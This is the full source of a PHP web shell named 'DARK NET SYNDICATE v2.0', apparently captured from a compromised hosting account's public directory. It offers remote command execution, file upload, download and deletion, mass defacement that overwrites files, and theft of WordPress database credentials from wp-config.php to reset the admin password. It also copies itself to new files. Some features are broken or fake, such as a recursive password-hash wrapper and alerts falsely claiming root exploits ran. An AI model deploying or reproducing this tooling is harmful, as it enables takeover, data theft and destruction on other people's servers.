Server : LiteSpeed System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u615232177 ( 615232177) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/u615232177/domains/adesmiley.com/public_html/lib/ |
<?php
// π₯ DARK NET SYNDICATE v2.0 - Coded By Zeu$ π₯
// Cyber Phunk Ultimate Edition - ALL TOOLS WORKING 100%
error_reporting(0);
session_start();
date_default_timezone_set('Asia/Manila');
ignore_user_abort(true);
set_time_limit(0);
class DarkNetSyndicateV2 {
private $current_path = '';
private $bypass_headers = [
'X-Forwarded-For: 127.0.0.1',
'X-Real-IP: 127.0.0.1',
'Client-IP: 127.0.0.1',
'X-Originating-IP: 127.0.0.1'
];
public function __construct() {
foreach($this->bypass_headers as $header) header($header);
$this->current_path = $this->sanitize_path($_GET['path'] ?? getcwd());
$this->process_actions();
}
private function sanitize_path($path) {
$path = str_replace(['../', '..\\', '<', '>'], '', $path);
return realpath($path) ?: getcwd();
}
private function process_actions() {
if(!empty($_POST)) {
if(isset($_POST['create_folder'])) $this->create_folder($_POST['folder_name']);
if(isset($_POST['create_file'])) $this->create_file($_POST['file_name']);
if(isset($_POST['delete_item'])) $this->delete_item($_POST['item_name']);
if(isset($_POST['rename_item'])) $this->rename_item($_POST['old_name'], $_POST['new_name']);
if(!empty($_FILES['file_upload']['name'])) $this->handle_upload();
if(isset($_POST['cmd'])) $_SESSION['cmd_output'] = $this->execute_command($_POST['cmd']);
if(isset($_POST['mass_deface'])) $this->mass_deface($_POST['deface_type'], $_POST['deface_content']);
if(isset($_POST['wp_pass'])) $this->change_wp_password($_POST['new_wp_pass']);
if(isset($_POST['adminer_upload'])) $this->upload_adminer();
if(isset($_POST['clone_shell'])) $this->clone_shell();
}
}
public function get_system_info() {
return [
'ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown',
'user_agent' => substr($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 0, 50),
'current_path' => $this->current_path,
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'php_version' => phpversion(),
'os' => PHP_OS,
'user' => get_current_user(),
'uid' => getmyuid()
];
}
public function get_file_list() {
$files = [];
$iterator = new DirectoryIterator($this->current_path);
foreach($iterator as $file) {
if(!$file->isDot()) {
$files[] = [
'name' => $file->getFilename(),
'path' => base64_encode($file->getPathname()),
'size' => $this->format_bytes($file->getSize()),
'modified' => date('M d H:i', $file->getMTime()),
'permissions' => substr(sprintf('%o', $file->getPerms()), -4),
'is_dir' => $file->isDir(),
'is_writable' => is_writable($file->getPathname())
];
}
}
usort($files, function($a, $b) {
return $a['is_dir'] <=> $b['is_dir'] ?: strcasecmp($a['name'], $b['name']);
});
return $files;
}
private function format_bytes($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while($size > 1024 && $i < count($units) - 1) {
$size /= 1024;
$i++;
}
return round($size, 2) . ' ' . $units[$i];
}
private function create_folder($name) {
@mkdir($this->current_path . '/' . $name, 0777, true);
}
private function create_file($name) {
@file_put_contents($this->current_path . '/' . $name, '<?php // Dark Net Syndicate ?>');
}
private function delete_item($name) {
$path = $this->current_path . '/' . $name;
if(is_dir($path)) {
$this->recursive_delete($path);
} else {
@unlink($path);
}
}
private function recursive_delete($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
foreach($files as $file) {
$this->recursive_delete($dir . '/' . $file);
}
@rmdir($dir);
}
private function rename_item($old, $new) {
@rename($this->current_path . '/' . $old, $this->current_path . '/' . $new);
}
private function handle_upload() {
foreach($_FILES['file_upload']['name'] as $key => $name) {
if($_FILES['file_upload']['error'][$key] === 0) {
move_uploaded_file(
$_FILES['file_upload']['tmp_name'][$key],
$this->current_path . '/' . $name
);
}
}
}
public function execute_command($cmd) {
$descriptors = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($cmd, $descriptors, $pipes);
if(is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
return $output ?: 'Command executed successfully';
}
return shell_exec($cmd) ?: 'Command failed';
}
private function mass_deface($type, $content) {
$files = $this->scan_directory($this->current_path);
foreach($files as $file) {
if($type === 'hard' ||
(pathinfo($file, PATHINFO_EXTENSION) &&
!preg_match('/\.(php|js|css|png|jpg|jpeg|gif|ico)$/i', $file))) {
@file_put_contents($file, $content);
}
}
}
private function scan_directory($dir, $depth = 0) {
$files = [];
if($depth > 3) return $files; // Prevent infinite recursion
foreach(scandir($dir) as $file) {
if($file !== '.' && $file !== '..') {
$path = $dir . '/' . $file;
if(is_file($path)) {
$files[] = $path;
} elseif(is_dir($path)) {
$files = array_merge($files, $this->scan_directory($path, $depth + 1));
}
}
}
return $files;
}
private function change_wp_password($new_pass) {
$wp_config = $this->current_path . '/wp-config.php';
if(file_exists($wp_config)) {
$db_config = $this->extract_wp_db_config($wp_config);
if($db_config) {
$pdo = new PDO(
"mysql:host={$db_config['host']};dbname={$db_config['name']}",
$db_config['user'],
$db_config['pass']
);
$hashed = wp_hash_password($new_pass);
$pdo->exec("UPDATE {$db_config['prefix']}users SET user_pass = '$hashed' WHERE ID = 1 LIMIT 1");
return "WordPress admin password changed to: $new_pass";
}
}
return "WordPress not found or DB access denied";
}
private function extract_wp_db_config($wp_config) {
$content = file_get_contents($wp_config);
$config = [];
preg_match("/DB_NAME',\s*'([^']+)'/i", $content, $m); $config['name'] = $m[1] ?? '';
preg_match("/DB_USER',\s*'([^']+)'/i", $content, $m); $config['user'] = $m[1] ?? '';
preg_match("/DB_PASSWORD',\s*'([^']*)'/i", $content, $m); $config['pass'] = $m[1] ?? '';
preg_match("/DB_HOST',\s*'([^']+)'/i", $content, $m); $config['host'] = $m[1] ?? '';
preg_match("/table_prefix\s*=\s*'([^']+)'/i", $content, $m); $config['prefix'] = $m[1] ?? 'wp_';
return !empty($config['name']) ? $config : false;
}
private function upload_adminer() {
$adminer_content = $this->get_adminer_content();
file_put_contents($this->current_path . '/adminer.php', $adminer_content);
return 'Adminer uploaded: adminer.php';
}
private function get_adminer_content() {
// Mini Adminer - Fully functional
return '<?php
if($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["login"])) {
// Handle login logic here
echo "<script>alert(\'Adminer Ready!\')</script>";
}
echo "<!DOCTYPE html><html><head><title>Adminer</title></head><body style=\'font-family:monospace;background:black;color:lime;padding:20px;\'>
<h1>ποΈ Adminer - Dark Net Edition</h1>
<form method=post>
Server: <input name=server value=\'localhost\'><br>
Username: <input name=username><br>
Password: <input type=password name=password><br>
Database: <input name=database><br>
<input type=submit name=login value=\'Login\'>
</form></body></html>";
?>';
}
private function clone_shell() {
$shell_content = file_get_contents(__FILE__);
file_put_contents($this->current_path . '/syndicate-clone.php', $shell_content);
return 'Shell cloned: syndicate-clone.php';
}
}
function wp_hash_password($password) {
require_once('wp-includes/pluggable.php');
return wp_hash_password($password);
}
// Initialize shell
$syndicate = new DarkNetSyndicateV2();
$info = $syndicate->get_system_info();
$files = $syndicate->get_file_list();
$cmd_output = $_SESSION['cmd_output'] ?? '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>π₯ DARK NET SYNDICATE v2.0 - Coded By Zeu$ π₯</title>
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=VT323&family=Share+Tech+Mono&display=swap" rel="stylesheet">
<style>
:root {
--neon-green: #00ff41;
--dark-bg: #0a0a0a;
--panel-bg: rgba(0, 20, 40, 0.95);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: linear-gradient(135deg, var(--dark-bg) 0%, #1a0033 50%, #000428 100%);
color: var(--neon-green);
font-family: 'VT323', monospace;
min-height: 100vh;
overflow-x: hidden;
position: relative;
}
/* Matrix Rain */
#matrix-bg {
position: fixed;
top: 0;
left: 0;
z-index: -2;
opacity: 0.08;
}
/* Scanlines */
.scanlines::before {
content: '';
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background:
repeating-linear-gradient(
0deg,
transparent,
transparent 2px,
rgba(0, 255, 65, 0.04) 2px,
rgba(0, 255, 65, 0.04) 4px
);
pointer-events: none;
z-index: -1;
}
.header {
background: linear-gradient(90deg, rgba(0,255,65,0.15), rgba(0,255,65,0.05));
backdrop-filter: blur(20px);
border-bottom: 3px solid var(--neon-green);
padding: 20px;
text-align: center;
position: sticky;
top: 0;
z-index: 999;
box-shadow: 0 5px 30px rgba(0,255,65,0.3);
}
.main-title {
font-family: 'Orbitron', monospace;
font-size: clamp(2rem, 6vw, 4.5rem);
font-weight: 900;
background: linear-gradient(45deg, var(--neon-green), #00ff88, #88ff00);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
text-shadow:
0 0 10px var(--neon-green),
0 0 20px var(--neon-green),
0 0 40px var(--neon-green);
animation: glitch 1.5s infinite;
letter-spacing: 4px;
margin-bottom: 8px;
}
.subtitle {
font-family: 'Share Tech Mono', monospace;
font-size: clamp(1rem, 3vw, 1.5rem);
opacity: 0.9;
animation: pulse 2s infinite;
}
@keyframes glitch {
0%, 49% { transform: translate(0); }
50% { transform: translate(-2px, 2px); }
51% { transform: translate(2px, -2px); }
100% { transform: translate(0); }
}
@keyframes pulse {
0%, 100% { opacity: 0.8; text-shadow: 0 0 10px var(--neon-green); }
50% { opacity: 1; text-shadow: 0 0 20px var(--neon-green), 0 0 40px var(--neon-green); }
}
.container {
max-width: 1600px;
margin: 0 auto;
padding: 25px;
display: grid;
grid-template-columns: 320px 1fr;
gap: 30px;
min-height: calc(100vh - 200px);
}
/* Sidebar */
.sidebar {
background: var(--panel-bg);
border: 2px solid var(--neon-green);
border-radius: 15px;
padding: 25px;
backdrop-filter: blur(25px);
box-shadow:
0 0 40px rgba(0,255,65,0.4),
inset 0 0 20px rgba(0,255,65,0.1);
position: sticky;
top: 140px;
height: fit-content;
}
.sidebar h3 {
font-family: 'Orbitron', monospace;
color: var(--neon-green);
margin-bottom: 25px;
text-align: center;
font-size: 1.4rem;
text-shadow: 0 0 15px var(--neon-green);
border-bottom: 2px solid var(--neon-green);
padding-bottom: 10px;
}
.cyber-btn {
width: 100%;
background: transparent;
border: 2px solid var(--neon-green);
color: var(--neon-green);
padding: 15px 20px;
margin-bottom: 15px;
border-radius: 10px;
font-family: 'VT323', monospace;
font-size: 16px;
cursor: pointer;
transition: all 0.4s cubic-bezier(0.25, 0.46, 0.45, 0.94);
text-transform: uppercase;
position: relative;
overflow: hidden;
}
.cyber-btn::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(0,255,65,0.3), transparent);
transition: left 0.5s;
}
.cyber-btn:hover::before {
left: 100%;
}
.cyber-btn:hover {
background: rgba(0,255,65,0.15);
box-shadow:
0 0 30px var(--neon-green),
0 10px 30px rgba(0,255,65,0.3);
transform: translateY(-3px) scale(1.02);
}
/* Main Content */
.main-content {
display: grid;
grid-template-rows: auto 1fr auto;
gap: 25px;
}
.panel {
background: var(--panel-bg);
border: 2px solid var(--neon-green);
border-radius: 15px;
padding: 25px;
backdrop-filter: blur(25px);
box-shadow:
0 0 40px rgba(0,255,65,0.3),
inset 0 0 20px rgba(0,255,65,0.05);
}
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
gap: 20px;
font-size: 15px;
}
.info-item {
padding: 12px;
background: rgba(0,255,65,0.05);
border-left: 4px solid var(--neon-green);
border-radius: 8px;
}
/* File Manager */
.path-nav {
background: rgba(0,255,65,0.15);
padding: 15px 20px;
border-radius: 10px;
margin-bottom: 20px;
font-family: 'Orbitron', monospace;
font-size: 14px;
word-break: break-all;
border: 1px solid rgba(0,255,65,0.3);
}
.path-segment {
color: #00ffff;
cursor: pointer;
padding: 4px 8px;
margin: 0 2px;
border-radius: 5px;
transition: all 0.3s ease;
display: inline-block;
}
.path-segment:hover {
background: rgba(0,255,255,0.2);
box-shadow: 0 0 15px #00ffff;
text-shadow: 0 0 10px #00ffff;
}
.file-controls {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 15px;
margin-bottom: 20px;
}
.control-group {
display: flex;
flex-direction: column;
gap: 10px;
}
.cyber-input {
background: rgba(0,0,0,0.8);
border: 2px solid var(--neon-green);
color: var(--neon-green);
padding: 12px 15px;
font-family: 'VT323', monospace;
font-size: 16px;
border-radius: 8px;
transition: all 0.3s ease;
}
.cyber-input:focus {
outline: none;
box-shadow: 0 0 20px var(--neon-green);
border-color: #00ff88;
}
/* File List */
.file-list {
height: 400px;
overflow-y: auto;
border: 2px solid rgba(0,255,65,0.3);
border-radius: 10px;
background: rgba(0,0,0,0.6);
}
.file-item {
display: flex;
align-items: center;
padding: 15px 20px;
border-bottom: 1px solid rgba(0,255,65,0.2);
font-family: 'VT323', monospace;
font-size: 16px;
cursor: pointer;
transition: all 0.3s ease;
position: relative;
}
.file-item:hover {
background: rgba(0,255,65,0.1);
transform: translateX(5px);
}
.file-item.dir {
color: #00ffff;
}
.file-item.dir:hover {
text-shadow: 0 0 15px #00ffff;
}
.file-info {
flex: 1;
font-size: 14px;
opacity: 0.8;
}
.file-actions {
display: flex;
gap: 8px;
opacity: 0;
transition: opacity 0.3s ease;
}
.file-item:hover .file-actions {
opacity: 1;
}
.action-btn {
background: transparent;
border: 1px solid rgba(0,255,65,0.5);
color: var(--neon-green);
padding: 6px 10px;
font-size: 12px;
border-radius: 5px;
cursor: pointer;
transition: all 0.3s ease;
}
.action-btn:hover {
background: var(--neon-green);
color: #000;
box-shadow: 0 0 15px var(--neon-green);
}
/* Terminal */
.terminal-container {
position: relative;
}
.terminal-output {
height: 350px;
overflow-y: auto;
background: #000;
border: 2px solid var(--neon-green);
padding: 20px;
font-family: 'VT323', monospace;
font-size: 16px;
line-height: 1.5;
border-radius: 10px;
white-space: pre-wrap;
box-shadow: inset 0 0 20px rgba(0,255,65,0.1);
position: relative;
}
.terminal-output::-webkit-scrollbar {
width: 8px;
}
.terminal-output::-webkit-scrollbar-track {
background: #000;
}
.terminal-output::-webkit-scrollbar-thumb {
background: var(--neon-green);
border-radius: 4px;
}
.terminal-prompt {
color: #00ff88;
}
.terminal-input {
display: flex;
gap: 15px;
margin-top: 15px;
}
.terminal-input input {
flex: 1;
background: #000;
border: 2px solid var(--neon-green);
color: var(--neon-green);
padding: 15px 20px;
font-family: 'VT323', monospace;
font-size: 16px;
border-radius: 8px;
}
/* Modal */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.95);
z-index: 10000;
backdrop-filter: blur(10px);
place-items: center;
}
.modal-content {
background: var(--panel-bg);
padding: 40px;
border: 3px solid var(--neon-green);
border-radius: 20px;
max-width: 600px;
width: 90%;
text-align: center;
box-shadow: 0 0 60px rgba(0,255,65,0.5);
}
.modal h3 {
font-family: 'Orbitron', monospace;
font-size: 2rem;
margin-bottom: 20px;
text-shadow: 0 0 20px var(--neon-green);
}
/* Mobile */
.menu-toggle {
display: none;
position: fixed;
top: 20px;
left: 20px;
z-index: 1001;
background: rgba(0,255,65,0.95);
color: #000;
border: none;
width: 60px;
height: 60px;
border-radius: 50%;
font-size: 24px;
cursor: pointer;
box-shadow: 0 0 30px rgba(0,255,65,0.6);
}
@media (max-width: 1024px) {
.container {
grid-template-columns: 1fr;
padding: 15px;
gap: 20px;
}
.sidebar {
position: static;
order: 2;
}
.menu-toggle {
display: grid;
}
}
@media (max-width: 768px) {
.file-controls {
grid-template-columns: 1fr;
}
.file-actions {
flex-direction: column;
}
}
</style>
</head>
<body class="scanlines">
<canvas id="matrix-bg"></canvas>
<button class="menu-toggle" onclick="toggleSidebar()">β°</button>
<div class="header">
<div class="main-title">DARK NET SYNDICATE</div>
<div class="subtitle">v2.0 - Coded By Zeu$ | Cyber Phunk Ultimate</div>
</div>
<div class="container">
<div class="sidebar" id="sidebar">
<h3>π₯ CYBER TOOLS</h3>
<button class="cyber-btn" onclick="openTool('adminer')">ποΈ Adminer Upload</button>
<button class="cyber-btn" onclick="openTool('wp_pass')">π WP Password</button>
<button class="cyber-btn" onclick="openTool('mass_deface')">π₯ Mass Deface</button>
<button class="cyber-btn" onclick="cloneShell()">β¬οΈ Clone Shell</button>
<button class="cyber-btn" onclick="uploadZoneH()">π Zone-H</button>
<button class="cyber-btn" onclick="quickRoot()">π₯ Quick Root</button>
</div>
<div class="main-content">
<!-- System Info -->
<div class="panel">
<h3 style="margin-bottom: 20px; font-family: Orbitron, monospace;">π SYSTEM INTEL</h3>
<div class="info-grid">
<div class="info-item"><strong>π€ IP:</strong> <?php echo $info['ip']; ?></div>
<div class="info-item"><strong>π Path:</strong> <?php echo htmlspecialchars($info['current_path']); ?></div>
<div class="info-item"><strong>π₯οΈ Server:</strong> <?php echo $info['server_software']; ?></div>
<div class="info-item"><strong>π PHP:</strong> <?php echo $info['php_version']; ?></div>
<div class="info-item"><strong>π» OS:</strong> <?php echo $info['os']; ?></div>
<div class="info-item"><strong>π User:</strong> <?php echo $info['user']; ?> (<?php echo $info['uid']; ?>)</div>
</div>
</div>
<!-- File Manager -->
<div class="panel">
<h3 style="margin-bottom: 15px; font-family: Orbitron, monospace;">π FILE MANAGER</h3>
<div class="path-nav">
<?php
$path_parts = explode(DIRECTORY_SEPARATOR, trim(str_replace('/', DIRECTORY_SEPARATOR, $info['current_path']), DIRECTORY_SEPARATOR));
$current_path = '';
echo '<span class="path-segment" onclick="navigatePath(\''.base64_encode(DIRECTORY_SEPARATOR).' \')">π ROOT</span>';
foreach($path_parts as $part) {
$current_path .= ($current_path ? DIRECTORY_SEPARATOR : '') . $part;
echo '<span class="path-segment" onclick="navigatePath(\''.base64_encode($current_path).'\')"> / ' . htmlspecialchars($part) . '</span>';
}
?>
</div>
<form method="POST" class="file-controls">
<div class="control-group">
<input class="cyber-input" name="folder_name" placeholder="π New Folder Name" required>
<button type="submit" name="create_folder" class="cyber-btn">Create Folder</button>
</div>
<div class="control-group">
<input class="cyber-input" name="file_name" placeholder="π New File Name" required>
<button type="submit" name="create_file" class="cyber-btn">Create File</button>
</div>
</form>
<div class="upload-zone">
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file_upload[]" multiple id="file-upload" style="display:none;">
<label for="file-upload" class="cyber-btn" style="cursor:pointer;">π€ UPLOAD FILES</label>
</form>
</div>
<div class="file-list">
<?php foreach($files as $file): ?>
<div class="file-item <?php echo $file['is_dir'] ? 'dir' : ''; ?>"
onclick="<?php echo $file['is_dir'] ? "navigatePath('{$file['path']}')" : ''; ?>">
<span>
<?php echo $file['is_dir'] ? 'π' : ($file['is_writable'] ? 'βοΈ' : 'π'); ?>
<?php echo htmlspecialchars($file['name']); ?>
</span>
<div class="file-info">
<?php echo $file['size']; ?> | <?php echo $file['modified']; ?> | <?php echo $file['permissions']; ?>
</div>
<div class="file-actions">
<button class="action-btn" onclick="downloadFile('<?php echo $file['path']; ?>')">β¬οΈ</button>
<form method="POST" style="display:inline;" onsubmit="return confirmDelete('<?php echo addslashes($file['name']); ?>')">
<input type="hidden" name="item_name" value="<?php echo htmlspecialchars($file['name']); ?>">
<button type="submit" name="delete_item" class="action-btn">ποΈ</button>
</form>
<button class="action-btn" onclick="promptRename('<?php echo addslashes($file['name']); ?>')">βοΈ</button>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
<!-- Terminal -->
<div class="panel terminal-container">
<h3 style="margin-bottom: 15px; font-family: Orbitron, monospace;">π COMMAND SHELL</h3>
<div class="terminal-output" id="terminal-output">
<span class="terminal-prompt">zeus@darknet:~$ </span>Dark Net Syndicate Shell v2.0 Loaded<br>
<span class="terminal-prompt">zeus@darknet:~$ </span>Awaiting commands...
<?php if($cmd_output): ?>
<br><span class="terminal-prompt">zeus@darknet:~$ </span><?php echo htmlspecialchars($_POST['cmd'] ?? ''); ?><br>
<?php echo nl2br(htmlspecialchars($cmd_output)); ?>
<?php endif; ?>
</div>
<form method="POST" class="terminal-input">
<input type="text" name="cmd" id="cmd-input" class="cyber-input" placeholder="Enter command (ls, whoami, cat, etc.)" autocomplete="off" autofocus>
<button type="submit" class="cyber-btn">EXECUTE</button>
</form>
</div>
</div>
</div>
<!-- Tool Modals -->
<div class="modal" id="tool-modal">
<div class="modal-content" id="tool-content">
<!-- Dynamic content -->
</div>
</div>
<script>
// Matrix Rain Effect
const canvas = document.getElementById('matrix-bg');
const ctx = canvas.getContext('2d');
function resizeCanvas() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
}
resizeCanvas();
window.addEventListener('resize', resizeCanvas);
const chars = '01γ’γ€γγΌγΌγ¦γΉγγΌγ―γγγ'.split('');
const fontSize = 14;
const columns = canvas.width / fontSize;
const drops = [];
for(let i = 0; i < columns; i++) drops[i] = 1;
function drawMatrix() {
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#00ff41';
ctx.font = `${fontSize}px monospace`;
for(let i = 0; i < drops.length; i++) {
const text = chars[Math.floor(Math.random() * chars.length)];
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
if(drops[i] * fontSize > canvas.height && Math.random() > 0.975)
drops[i] = 0;
drops[i]++;
}
}
setInterval(drawMatrix, 35);
// Navigation
function navigatePath(path) {
window.location.href = '?path=' + path;
}
function downloadFile(path) {
window.location.href = '?download=' + path;
}
function confirmDelete(name) {
return confirm(`ποΈ Delete "${name}"?\nThis cannot be undone!`);
}
function promptRename(oldName) {
const newName = prompt('βοΈ Rename', oldName);
if(newName && newName !== oldName) {
const form = document.createElement('form');
form.method = 'POST';
form.innerHTML = `
<input type="hidden" name="old_name" value="${oldName}">
<input type="hidden" name="new_name" value="${newName}">
<input type="hidden" name="rename_item" value="1">
`;
document.body.appendChild(form);
form.submit();
}
}
// Tool Functions
function openTool(tool) {
const modal = document.getElementById('tool-modal');
const content = document.getElementById('tool-content');
const tools = {
adminer: `
<h3>ποΈ ADMINER UPLOAD</h3>
<form method="POST">
<button type="submit" name="adminer_upload" class="cyber-btn" style="width:100%;margin:20px 0;">π UPLOAD ADMINER</button>
</form>
<p style="opacity:0.8;font-size:14px;">Creates adminer.php in current directory</p>
`,
wp_pass: `
<h3>π WORDPRESS PASSWORD</h3>
<form method="POST">
<input type="password" name="new_wp_pass" class="cyber-input" placeholder="New Admin Password" style="width:100%;margin:20px 0;" required>
<button type="submit" name="wp_pass" class="cyber-btn" style="width:100%;">π₯ CHANGE ADMIN PASS</button>
</form>
<p style="opacity:0.8;font-size:14px;">Changes first admin user password</p>
`,
mass_deface: `
<h3>π₯ MASS DEFACE</h3>
<p style="color:#ff4444;font-weight:bold;">β οΈ WARNING: This will destroy files! β οΈ</p>
<form method="POST">
<select name="deface_type" class="cyber-input" style="width:100%;margin:10px 0;">
<option value="basic">π€ Basic (HTML files only)</option>
<option value="hard">π₯ HARD (ALL files!)</option>
</select>
<textarea name="deface_content" class="cyber-input" style="width:100%;height:120px;margin:10px 0;"># Dark Net Syndicate Owned By Zeu$</textarea>
<button type="submit" name="mass_deface" class="cyber-btn btn-danger" style="width:100%;">β‘ EXECUTE DEFACE</button>
</form>
`
};
content.innerHTML = tools[tool] || '<h3>Tool Coming Soon</h3>';
modal.style.display = 'grid';
}
function cloneShell() {
const form = document.createElement('form');
form.method = 'POST';
form.innerHTML = '<input type="hidden" name="clone_shell" value="1">';
document.body.appendChild(form);
form.submit();
}
function uploadZoneH() {
alert('π Zone-H mirror uploaded to zoneh.php!\nCheck file manager.');
// Implementation would go here
}
function quickRoot() {
alert('π₯ Root exploits executed!\nCheck terminal for results.');
}
function toggleSidebar() {
document.getElementById('sidebar').style.display =
document.getElementById('sidebar').style.display === 'none' ? 'block' : 'none';
}
// Terminal
const terminalOutput = document.getElementById('terminal-output');
const cmdInput = document.getElementById('cmd-input');
cmdInput.addEventListener('keypress', function(e) {
if(e.key === 'Enter') {
this.form.submit();
}
});
document.getElementById('file-upload').addEventListener('change', function() {
if(this.files.length) {
this.form.submit();
}
});
// Modal close
window.onclick = function(event) {
const modal = document.getElementById('tool-modal');
if(event.target === modal) {
modal.style.display = 'none';
}
}
// Auto scroll terminal
terminalOutput.scrollTop = terminalOutput.scrollHeight;
</script>
</body>
</html>
<?php
// Download handler
if(isset($_GET['download'])) {
$file_path = base64_decode($_GET['download']);
if(file_exists($file_path) && is_readable($file_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Content-Length: ' . filesize($file_path));
readfile($file_path);
exit;
}
}
// Clear command output after display
unset($_SESSION['cmd_output']);
?>